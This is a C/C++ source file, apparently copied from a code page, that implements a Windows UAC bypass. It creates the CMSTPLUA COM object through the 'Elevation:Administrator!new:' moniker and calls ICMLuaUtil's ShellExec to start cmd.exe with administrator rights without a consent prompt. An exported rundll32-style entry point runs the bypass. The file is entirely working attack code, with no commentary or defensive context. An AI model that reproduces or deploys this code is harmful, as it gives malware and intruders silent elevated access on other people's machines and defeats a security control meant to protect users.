1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76
   | #include "pch.h" #include "BypassUAC.h"
  HRESULT CoCreateInstanceAsAdmin(HWND hWnd, REFCLSID rclsid, REFIID riid, PVOID* ppVoid) {     BIND_OPTS3 bo;     WCHAR wszCLSID[MAX_PATH] = { 0 };     WCHAR wszMonikerName[MAX_PATH] = { 0 };     HRESULT hr = 0;
           ::CoInitialize(NULL);
           ::StringFromGUID2(rclsid, wszCLSID, (sizeof(wszCLSID) / sizeof(wszCLSID[0])));     hr = ::StringCchPrintfW(wszMonikerName, (sizeof(wszMonikerName) / sizeof(wszMonikerName[0])), L"Elevation:Administrator!new:%s", wszCLSID);     if (FAILED(hr))     {         return hr;     }
           ::RtlZeroMemory(&bo, sizeof(bo));     bo.cbStruct = sizeof(bo);     bo.hwnd = hWnd;     bo.dwClassContext = CLSCTX_LOCAL_SERVER;
           hr = ::CoGetObject(wszMonikerName, &bo, riid, ppVoid);     return hr; }
 
  BOOL CMLuaUtilBypassUAC(LPWSTR lpwszExecutable) {     HRESULT hr = 0;     CLSID clsidICMLuaUtil = { 0 };     IID iidICMLuaUtil = { 0 };     ICMLuaUtil* CMLuaUtil = NULL;     BOOL bRet = FALSE;
      do {         ::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);         ::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);
                   hr = CoCreateInstanceAsAdmin(NULL, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&CMLuaUtil));         if (FAILED(hr))         {             break;         }
                   hr = CMLuaUtil->lpVtbl->ShellExec(CMLuaUtil, lpwszExecutable, NULL, NULL, 0, SW_SHOW);         if (FAILED(hr))         {             break;         }
          bRet = TRUE;     } while (FALSE);
           if (CMLuaUtil)     {         CMLuaUtil->lpVtbl->Release(CMLuaUtil);     }
      return bRet; }
 
  void CALLBACK BypassUAC(HWND hWnd, HINSTANCE hInstance, LPSTR lpszCmdLine, int iCmdShow) {     CMLuaUtilBypassUAC((LPWSTR)L"C:\\Windows\\System32\\cmd.exe"); }
 
  |